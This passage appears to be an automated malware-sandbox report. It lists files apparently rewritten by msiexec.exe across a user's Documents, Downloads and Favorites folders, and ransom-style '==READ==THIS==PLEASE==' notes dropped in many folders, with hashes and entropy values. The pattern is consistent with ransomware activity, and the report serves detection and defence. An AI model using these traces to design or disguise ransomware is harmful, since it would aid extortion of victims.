SHA-512:	C07641D496BAE704EE59776FE984C2AA09DDB14B099D31863E7B32F05B15D4FF44C17F9B2123D43F5791BC1E7E6A7866CAEEB3550C6602BBB034B3D98D29D5B4
Malicious:	false

C:\Users\user\Documents\PWCCAWLGRE.mp3
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.725444107450171
Encrypted:	false
MD5:	7B2FFDB9CC42A8F8DFB8FA3E7D8B41CB
SHA1:	D8E12D06092043D60A633B362869A61D7497C360
SHA-256:	C9417CA3C5247D1169650FA49188CB0004C4247580C9DD849BB71F970673F847
SHA-512:	5D5DB93430E9B19AD02CDAEE9852AEF4FFFE854DF969DB24B4E2D9A8ACF366CC2A1BF8171958ED9311F0774FC1F451D2E47FFEC75DBC437DE7310EF6B118FD99
Malicious:	false

C:\Users\user\Documents\PWCCAWLGRE.pdf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6395022152490935
Encrypted:	false
MD5:	5D1D3FAA03CDB7E21CF559204A6958D7
SHA1:	A50713613FBD837CA20CF2E4909A54BCF18E2BC0
SHA-256:	B7D9C91B19E5C13ED5EAB621A9FCDA3427A0474786DF16BF8640F650574538D5
SHA-512:	43C766F59E57CA093A90ED5C423E62ABAB367F7F020D0CF81A65E17846D1EEF1D7B85459CEE0FFE395C15138BC44A354D19E11302570C699281DAB43695A053C
Malicious:	false

C:\Users\user\Documents\PWCCAWLGRE.xlsx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.728929504837462
Encrypted:	false
MD5:	4A57B17E82C3FCF02056890FE45F10EB
SHA1:	3E3D9C037E1E93A452E917B609A72F1D799359D9
SHA-256:	E692FE52FC7E7C508E65769EF01D85DAE764E13E93AB0180692F1A8CA02E06B5
SHA-512:	0F3875652C037184F916009CF74E623461FA1B9AB9CF1F865197D7C6ABB0884F9CAC37F4598E2F8960912BFFA20107A7EDA76F1DFC983003F6A468A8185F4F17
Malicious:	false

C:\Users\user\Documents\QCFWYSKMHA.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6538346080106185
Encrypted:	false
MD5:	FBC3DD450FA68B22E773898AAE8B3B24
SHA1:	B0D64FA5CAA7099107F410E094220494785B949A
SHA-256:	3706E89FACC5AC5627D916EF67DBE067420C12BE6193A2D77CD07755D33D953D
SHA-512:	6F6C62FB84E99195961352B2D0245D6F7ED24DCA1451AA44DEEAA773E42403A31BC43B8EBDDF03A331011B93509AB2C447B5A0C2E4C31A90D2481E77DC248DD4
Malicious:	false

C:\Users\user\Documents\QNCYCDFIJJ.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.694903933830115
Encrypted:	false
MD5:	4E763650C77B8A4EEFD2033303145F6E
SHA1:	0CDDBB3D605FCE761286B97E9577E4106A2A2560
SHA-256:	4B8BEC109AC8F54A1DA88BA857B0FFABB47EAA53912435283DB0942481D9A41A
SHA-512:	D29D0D26BCAED22829376E49929B29DD0C05C9F69A06D0FF97D8BD64A683F3F8BA35CDD1F5CE8A94974C606A99A3309CF03F626E833FBF458CF8C23518882DE0
Malicious:	false

C:\Users\user\Documents\QNCYCDFIJJ.xlsx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.654245370636042
Encrypted:	false
MD5:	45AF897BF9F71D34E1F43374B6A623DC
SHA1:	CF5E528CFE582E9F6C6534775E6BDD1027607497
SHA-256:	C25F43459A77BAEC687649ED9223A53AB3F2D9958D4CD83A01138E525CAD7BA0
SHA-512:	C5FA7756FCCA939046B91EEC012FEDD08BDD02C050868CD03ED772E2944A4F0E72D38D9EC43EA505A34E1BCE54C97E70CD91A0F0799A72FE08A194075F04CBB3
Malicious:	false

C:\Users\user\Documents\SQSJKEBWDT.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.65608284123906
Encrypted:	false
MD5:	CF9955154D951C66404F3E83EAA6D548
SHA1:	BD810F7D57D809153BEED2C2EDA7ABB6D7836265
SHA-256:	57A4EC3809D9078DE28727E1B63E9421B187E104B40B9B2A92FBAD460EB6E736
SHA-512:	7ECD3DD8DA70A5666337DA2917A1B8918CBC778A13040932204BE6013348E996096A3B92F1402D90796F0EB9E57D938B4146DC8842086A5EA7B5951843290A5A
Malicious:	false

C:\Users\user\Documents\ZQIXMVQGAH.docx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6787123341973675
Encrypted:	false
MD5:	EE05C93D8D169FE3643ABB54B4B98767
SHA1:	544AE5F8050351FE5F95A33B2B81B45A472EA0D7
SHA-256:	43BEEA53C3ADB9206BD3D0BED6533B5D4DEC8B97B98B585047D972A4485299A9
SHA-512:	176CC65273196BE68019B1133AA1E0F2184EEA9BEAD015EC0F21D2C91904488562B9A85B4ED380F4F8BE2BBFF62BAEFFF77B03D55878B46960A7AA2827F37181
Malicious:	false

C:\Users\user\Documents\ZQIXMVQGAH.xlsx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.684797766986578
Encrypted:	false
MD5:	27D4CEDCA9FF004A8B35BE5B85F0B82F
SHA1:	615A6C9DCE4A7E8F96431183F744F5856DEA0529
SHA-256:	6486EECE2F711FF33864770B127974F6E10637FDB5C9AB9FB8875250E1952839
SHA-512:	196BE8DB3F5E311250B4A0B6563DE9A68E3FBDFF1AD3158EBA3F35F21469DFD9181BF220DD4D3E63FCAEB7BEDE834F81DC8128107A8E272EC194056C1B1680AA
Malicious:	false

C:\Users\user\Documents\ZQIXMVQGAH\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Documents\ZQIXMVQGAH\NVWZAPQSQL.mp3
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.656389647598843
Encrypted:	false
MD5:	713CF46B2D482CA789AF71200D375FF3
SHA1:	C9889B429CDD105CA29265BB0E0A2A1615F0A45E
SHA-256:	8639636838590E6180955E960EDDD4F3730A47B5FBAB8C637D1721ACE7F5D356
SHA-512:	3586440516099B2E403B029F221980EF5141A041181385D98744AD526F2546652FF8C34DCD347F0A7EFCDB439AA9FD5BFD8C54184692D292B28AD2BFC0836FCE
Malicious:	false

C:\Users\user\Documents\ZQIXMVQGAH\PIVFAGEAAV.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.699688755960608
Encrypted:	false
MD5:	535AAE840A86A31AC05991705B86A9CB
SHA1:	91AE772A97270B40824DD43240EEB87C3AA37F10
SHA-256:	5DC08F05A90760927D6945DA5C3103096D7C44B83F1386F2426F4130E81FD00C
SHA-512:	326DEE794239E0D773435685961614027CEFA986CB4BA36BA3CA4637913F8D7C62699A05D56DDE9122CDA158D5BB708AFD2F04771C47DDA165C2FC9F23211FB8
Malicious:	false

C:\Users\user\Documents\ZQIXMVQGAH\PWCCAWLGRE.pdf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6650708833199
Encrypted:	false
MD5:	16A8CCC9F1019400138FE63F348AA5A4
SHA1:	B2E40A89C68B11D5DCFF7C8E7FDF775E990935EE
SHA-256:	85BAC04A11F6FB9884C3A0AE4E06CB67B2ACEF373BC08942AFA0F0ED7DEEEFCE
SHA-512:	9FF16DBF440243B2D0BEEEE8781C43260F2CD546D114383D4A39D97CAC68235111205C341469270AA8D3933AF51CC975B656A022FA06F1207F7003F7D8B7F64D
Malicious:	false

C:\Users\user\Documents\ZQIXMVQGAH\QNCYCDFIJJ.xlsx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.649121985184179
Encrypted:	false
MD5:	F77F9305A2BC3C3A96FB0F843A188C70
SHA1:	80E017ED4199A46A1E6C6C940549C5521CFF5BAB
SHA-256:	F7E1F2722D1B76AE6696D099DA98345FCEDE8AF9D2209988BC9CDFA6EC4A91A5
SHA-512:	4E7F5F2203EB6D666946B500E9A26D4A0483F7586291CFF541E184F0661601E8E780BD81A238AACFBCC4E372EFB2265E35614A1351F9E7D210688642B79A0FAE
Malicious:	false

C:\Users\user\Documents\ZQIXMVQGAH\SQSJKEBWDT.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.659784581150441
Encrypted:	false
MD5:	63AE17BB9619F1347D483AF93AA6921A
SHA1:	C649266ACFD2B93960AB16A66A4536CB24F13D32
SHA-256:	04C424AE1B3A8550B051ADB6AFE0A9987825A677188D0C11CB3A850557602ED1
SHA-512:	2370CCC783ED2118C88BDB8C9994873A66665B6C276C43F956454407BCF71E7E9F15DC2FC9BB1073E73448495EB864DCDFCD52614DAFCEC25BFED4D50A27E3A1
Malicious:	false

C:\Users\user\Documents\ZQIXMVQGAH\ZQIXMVQGAH.docx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.685631243916425
Encrypted:	false
MD5:	477204AB5E986AFEAB6A90635018527B
SHA1:	8C9B918E09314F3204C7EF3F0BBB3D919A561BF2
SHA-256:	DA8378C165F978DAF321C1BD0773A71B346027933D30B9240C6FE0F40E026966
SHA-512:	6249C2B039D1AD2A1DB5285EDCC4645267DEF8E13FE97E828544942D1705BB6B23F627456ED6E1CD1D3114A1D3D6FAA9A3C454FAD16DB86C3084FB8DFCD29E50
Malicious:	false

C:\Users\user\Documents\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.696398879693217
Encrypted:	false
MD5:	136B6DADB16279C63315F0F7CCB9A651
SHA1:	3CD2E7A076463A36FF78398E207191F4887172BA
SHA-256:	F9A1ABA9D8F8997774C0434E138891260D4A8A3BD439D31D7A05E9FD527D3B8D
SHA-512:	7D039F6A622F372461B94146AC525AC607FC9ED778FF82AA865495CCD18AD104EF65539E934DD47D37EB93A22137A1C4E908F73135137F21C9437577254EE361
Malicious:	false

C:\Users\user\Downloads\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Downloads\GAygkOwh9t
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.717393752142646
Encrypted:	false
MD5:	ADAAADE9BB9C2C274923930A4788A57D
SHA1:	5AD0E7EAFD46C1724941817C4292B92C81DCAC8A
SHA-256:	C2467DCF8047F92B1A7D7026F0777A73B9537931E85DBD6CE0C2322CD6E4D2DC
SHA-512:	744CD0225E64FE9BE5788DEB8648AD79480AB431F80FDB10C9286F647DCD653A6ECEA8C837CD37D6D28DAEAEF6333B5F567F09BE3295A352783B1D6F8913B694
Malicious:	true

C:\Users\user\Downloads\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.651291112393032
Encrypted:	false
MD5:	995928A1946B0A3071E96177AC697F26
SHA1:	8FA2F200E607AD5D7C783C3937EFB6D662017137
SHA-256:	BC271F401D7BC7711B566088E21046081A92CF8D09C22E36B22B347D00F74F24
SHA-512:	9ABC11564DFCF10F25F26FF96D0B642E1146F64A1C863B626E37917F43327DC78094D3130FC0BD545557EB181BEF765E7B60073DBA0FD43411B7938DC9F9AA71
Malicious:	false

C:\Users\user\Favorites\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Favorites\Amazon.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.652960096685655
Encrypted:	false
MD5:	57EC4D6B387D87631401E8FC05A7F6BB
SHA1:	6BAEFBA3044386D576D71BF18C45185EF8279FAC
SHA-256:	6729194F241066383D6604EA9410C78E40E469EA306C1FFA0EDEC3C739DC0152
SHA-512:	8920FC44CF3BC237313D1343BD0E971ED288DC9E9F33D949D637D4F0E3554496FBE2751F4CA741BA1682DFE6D1F0D06EBB65AAA6CA1CA828843E1FE0DF2A9048
Malicious:	false

C:\Users\user\Favorites\Facebook.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6863403829088215
Encrypted:	false
MD5:	4C9F1D1AC7FCC07C7A61ACA5ACAE383C
SHA1:	2F999BDEA59CDAAE14E25D28CCB2403B72A9EDB4
SHA-256:	920350F8C2B4B9F96B1A870E2ACA27418292DB2D1B4AEF1BDFDF2B96725BBFFF
SHA-512:	D3340333E5CFFDF7379EE3C8DC1EC639B09252988A9845F320F10FD2EEDBC13155409255BA48776CE0BF0DCF0762E6FF2952F44EBBA9FFD5D4FF9AFF833EBC66
Malicious:	false

C:\Users\user\Favorites\Google.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.664320034095834
Encrypted:	false
MD5:	1C66EF0EEEE5D800EC2DBCED2EE6ABA5
SHA1:	146E09519D06B8A37F4F8CA307BA32FAE161A298
SHA-256:	31996DCF784579C3154AA4D11E55095EBB9907157A77DC29E11E8C13B2061121
SHA-512:	BB7DF04CD34F67BDD9DD50E1B8F29F25403B23D1A4F9B5E86078AFCFF5EA7DF6B79CD2EA049D89DD37DDCB52ED03DBD8F05082B52DF73DD3BEB02665B03CA37C
Malicious:	false

C:\Users\user\Favorites\Links for United States\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Favorites\Links for United States\GobiernoUSA.gov.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6600432777186995
Encrypted:	false
MD5:	715A7D4617662AF5949451EF362A8D30
SHA1:	6C9800C9499BC5B5AB98E2B0B6E0591E29496CEA
SHA-256:	1F65539DB5EF2C880C5FB704775C36D74EE84A3EC13774B0E45D19E90B96F3A3
SHA-512:	D4651AF30BDD26988BD0D638D4FC176D1068772EE7AEDA8E9673039B14D599194E318ABF9A0F661E5D2CA95291BE486310975243011FB3DD3138B32B16A3E956
Malicious:	false

C:\Users\user\Favorites\Links for United States\USA.gov.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.684261311827328
Encrypted:	false
MD5:	CDD204108CD686C15C1692611C61422A
SHA1:	6C3875F091DE6663B6FEF85B55144157B86D1219
SHA-256:	92423ECF2671A5C068D69D3911887E87A17D724F5FD15858EFD41E4991189F29
SHA-512:	73A6CF30FFE43FEC85FBD5D6C20483544B63EE2AA9431DA02090DFB1EE62C6663AB9970440F9A9BCF9298CBEDCC0928DDE059CB58784D052908CB696D9973B8A
Malicious:	false

C:\Users\user\Favorites\Links for United States\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.671087571067939
Encrypted:	false
MD5:	C1FD179FCBB9D25E4FB0C27BC43BA9D2
SHA1:	080A64B9D6D0F9E70C623EE690A006FD2597574D
SHA-256:	8CC8E9A30CD3EFC2783BE62724980804C5E3DF7443AC29073FBE12F491861023
SHA-512:	A14C16E42008FB0B54439DAC0230EF4E7B7F5A6A94378FFFEF5622C23474C1C85BB526AFDFF31147D5455D93C0A18C2A1753DCC5B0A48402D578F2AE17FCE59B
Malicious:	false

C:\Users\user\Favorites\Links\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Favorites\Links\Suggested Sites.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.645375266932778
Encrypted:	false
MD5:	CE04D5D6460FA19EA762C992636289BB
SHA1:	36D422B1CD26E45C1348B91CCCC31DDF130FBD9F
SHA-256:	AFA17D80707FA5F90063F2A8FF71F522765727522359760E8249F8212929681D
SHA-512:	EAEE7B42ABBA2F9165B4BB61FCF4ACCEEB80E3AC976969D142CD7260DCBF49075540D58670BCB953DB0076A62C63314073374989AA342A30A23FECBB716E4812
Malicious:	false

C:\Users\user\Favorites\Links\Web Slice Gallery.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.655612017143124
Encrypted:	false
MD5:	460ACFBB7A32AC5146744B5C01E209F8
SHA1:	ABB7333993BC4CFCEF5654BE2449F54DBD5BAED6
SHA-256:	B1366AF780D096CEF489390DBC7385E8A86C86CA6D1E1A8E10B72A5A42D4C9D2
SHA-512:	68EB3E492F3B9CAD8B58B47FA238D6F5C52E82A95AD55579792F86C2F74616AC8F66C3A627745B3A0A5F397DC3F38D1FC13F958BC0EF58D839D154D2EDCA6574
Malicious:	false

C:\Users\user\Favorites\Links\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.729191079279396
Encrypted:	false
MD5:	73CC95CD57A5A32A391FE4614C8D0A4D
SHA1:	59241F35F5C3F68E9965A593A79491615A911D78
SHA-256:	4C4685675788BB72D9B9961A009D9B7FCFFE9945EE7FE041F26A7C74B42EC21D
SHA-512:	4C14D4561F0309588B289E41431DB11FDAE780A5D61D11E3EAD6302F51EAFB5B87C6EBD4F94AA153FE44C0C45E65D415869B661C93C56A477F20D97CD9BA32C7
Malicious:	false

C:\Users\user\Favorites\Live.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.703586946406285
Encrypted:	false
MD5:	7DA4D04E9E49F71D4E96BD1FE1ECABAF
SHA1:	930C92B3CCEAD126E5C4A0592B2DCF2CE5F40E5F
SHA-256:	3DCF57F54008F818CE6C69CBF9EC800DD410D1151DCEACABDE9D3D3E4A434CF2
SHA-512:	1D0009B6ADE00ACFA2B194B3264DBAAFFDBCE9DF4F2CF9ECDFAA107F553EA6BB3DBABDE900AA53BF51F2D0428581022D08F43985513B2A99F083A9A582B982D8
Malicious:	false

C:\Users\user\Favorites\MSN Websites\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Favorites\MSN Websites\MSN Autos.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.712869149857685
Encrypted:	false
MD5:	CDF8F726F229BD57BAD16BD82DFF2736
SHA1:	BB63DED781A6413C54C155F2919E99A9EA423F84
SHA-256:	68941F76F5B5FE726DF89C6347354F6F86633F7D8969586549E5DD1DD7CB5834
SHA-512:	A20E697DE6F28256289AE631096B3E295C8FADDA166CA6799DEA0F081FB11731DC34F2E9F1992AD2886589A59EA9A7979849CCB1DF09586521D8713F4E51353E
Malicious:	false

C:\Users\user\Favorites\MSN Websites\MSN Entertainment.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.675918979712678
Encrypted:	false
MD5:	CBC89298B6EF11398741B38BF24CF14D
SHA1:	BF15BB11FC897B9F890CE8C07DC01A3F0A2F07B5
SHA-256:	B14681AC2B4A4D59803876A5A577802E93FD6C86C56A15AAF01C020B278C4FD5
SHA-512:	372670ED934CA9467DBA2F5CE16A540948828C3FCE9FFEA90B6362321FDC2B3681F24FA87455CC7D03FA71067C4117FCC538B61D237A7FC93C2C3753BB97B102
Malicious:	false

C:\Users\user\Favorites\MSN Websites\MSN Money.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7317871357890775
Encrypted:	false
MD5:	809219D234B17EDF38D38BBE555F9AE6
SHA1:	E280624FCBC2F0280C6724945D58167AA56B72A3
SHA-256:	F0C8B397A1F32058967281B43664360C65BF7F7EF6585280AFB16E2570AEA3C1
SHA-512:	08311C9370F02A2488A4AE713910667CFDCE9C186C96AFD00CC4EAD0099B2DD3450347744ED409A51205967C83647EF8B3A531218909F50ACEBF910B44003E6A
Malicious:	false

C:\Users\user\Favorites\MSN Websites\MSN Sports.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.704588909646524
Encrypted:	false
MD5:	CC5FEACFAABEB0760A23CECC4A0A5D42
SHA1:	07F38DC9F5BC9FCD0F6695CFA7B4352972387619
SHA-256:	8C61C6F984E87D8A3B360152B8531D77D23693939040F9622B19F5EB55D53E4D
SHA-512:	1CF1E361A9C25D6D466ECCDBF66091185E2C8C44A2DFF10AB7A8357D2EE2B86E7B9F0639AAA2ECA8A6EB6977D26D86202896B839FE4C2A88963B884D6238869A
Malicious:	false

C:\Users\user\Favorites\MSN Websites\MSN.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.653734613163548
Encrypted:	false
MD5:	4F7C1A2CE35F106BD4BC66A17BEF4297
SHA1:	3CA0B30FFB63E3901BBD4AD94274B0E12AC3C2BF
SHA-256:	E6EF39B907FFFDC3D3315BDDB364C0D05887ABE2E24C3B331BBF7DD137D340BB
SHA-512:	6AE21301130974A466B1EF38D28C06C8ED0B975480691B7406DDEFEB18124361B0C676753E663988D0B55BAC7D56601FB518614556D5C57D220AD7A621FC4352
Malicious:	false

C:\Users\user\Favorites\MSN Websites\MSNBC News.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695496911300045
Encrypted:	false
MD5:	63CEB65EB59B28480D2BEDFAD272881C
SHA1:	69724ACCD79738EA828B00D295DF0A129417B5C6
SHA-256:	B54AFB7DEF4398857A013B5C9EB02A506882D713101CDACD431F4284D2F53907
SHA-512:	43479CCA72C28CB25B2C967314DCF269C5FFD9C765A926BC4513E915CC2D9EDACFF4E8652721044E6C356D167B05FF05C163295D04222B5F975A9EE94303D298
Malicious:	false

C:\Users\user\Favorites\Microsoft Websites\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Favorites\Microsoft Websites\IE Add-on site.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.701277550688757
Encrypted:	false
MD5:	08BCC8E22E71968E899B256760DF29B4
SHA1:	6F8501086B402340B5D04263C3EF5D29268B89AC
SHA-256:	CFB18508E3278885F04A1D86894BB6BAA11656449314932610F1078E6AB542D4
SHA-512:	773D7751792BCB4B60C24A624B9AF1163481D83606922E407B625D61FAA82688074045C603F35FAF327E5E12DC740FDA01D7563319A7CF29BC06680DCB6B70D9
Malicious:	false

C:\Users\user\Favorites\Microsoft Websites\IE site on Microsoft.com.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.652119037203734
Encrypted:	false
MD5:	51DC183283B34915877174AC3F63E8A3
SHA1:	655AAEFE50FD2865FB5E87AD32B2414E1363CF45
SHA-256:	F0A6C452B8499C06C8CD40BC7F7C93BBAA6EB192B0477536FE5D751A2121219B
SHA-512:	FDC5B2B50D53CCED92444CF3331722200443C51EFF1728009A8558F3D7613B5D5B5DE6B54E2808F3C884404573C67FECBEFC95D5DF1EF69569182383DAA1EB51
Malicious:	false

C:\Users\user\Favorites\Microsoft Websites\Microsoft At Home.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697056387207907
Encrypted:	false
MD5:	32AF1BABBFB9114F1CC1A630A4838055
SHA1:	B5B22352702008DDD917D13AE72C0C8DFEDDE1FE
SHA-256:	8BD4BCADF5F055227E36FF08FAE153959D8E49FC06B839257C0E4C4DACE8A602
SHA-512:	25D3C8B73237FBA4B8A4EA8E816757754B10375FAD4D3381400B11855E2C87F784EBC289A83FDD9AA78DA6AE7EC581E32F7A5E5B01CC7249CB17ECFD926B4CF3
Malicious:	false

C:\Users\user\Favorites\Microsoft Websites\Microsoft At Work.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.690560209266938
Encrypted:	false
MD5:	BD9B7E9724A82D9ABD0B630F325A544A
SHA1:	CD301D234129A3D1A3BF98D9028D5E1946AF1CAC
SHA-256:	BD79143B846FC9AF004A500168117F6583143745C720EC368FE187F3C58385D5
SHA-512:	750A10E382E29C1728CA89ACD03CF48DB5BFD9A016527BEB51095C2BC2B13614CC33985F3C6D248ACE533DCAF0F28BCE171081C03D11F0B3DAC036DA6AF18290
Malicious:	false

C:\Users\user\Favorites\Microsoft Websites\Microsoft Store.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6561290858382955
Encrypted:	false
MD5:	63B814627D242C7D740EABB33673FDFA
SHA1:	3D13B5D41EB908FAD26F07733ED6F7EF3D41EF23
SHA-256:	C8B947356A263A75619BE809C875C5CE0E125FD574EFF62F01948FBBA1F3E8DF
SHA-512:	42A12F9F6A8F18091845924F77534B68E8A0C0738CFDCE4341971A21863CD62A7005CB86788C094A89A907CCF0BBD5B79D655E577706501717E59487A5B670A8
Malicious:	false

C:\Users\user\Favorites\NYTimes.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.703826108743465
Encrypted:	false
MD5:	12BF501ADB068B18A8A85C353EC4AB3D
SHA1:	ED49B6A8C81ADC5BA1BB522D3A53ADC3747DB520
SHA-256:	E325F576A4E1A69EA1CC1DD086022A48B06D294DAC85549E88003864A472F121
SHA-512:	9F6E201048B261700D00FF4C97A0F9D2B8AAE33A93431D576B797005B31EBE296FE4405BE90113FE46DA691808BF1F9F77CEB89F5E234F6F30DA8951BB47BCC1
Malicious:	false

C:\Users\user\Favorites\Reddit.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.694797285845353
Encrypted:	false
MD5:	FCA198E524F796851F5346BFD313661D
SHA1:	80D33D4C7423D64C7B164C5B2A3880FC317DDB92
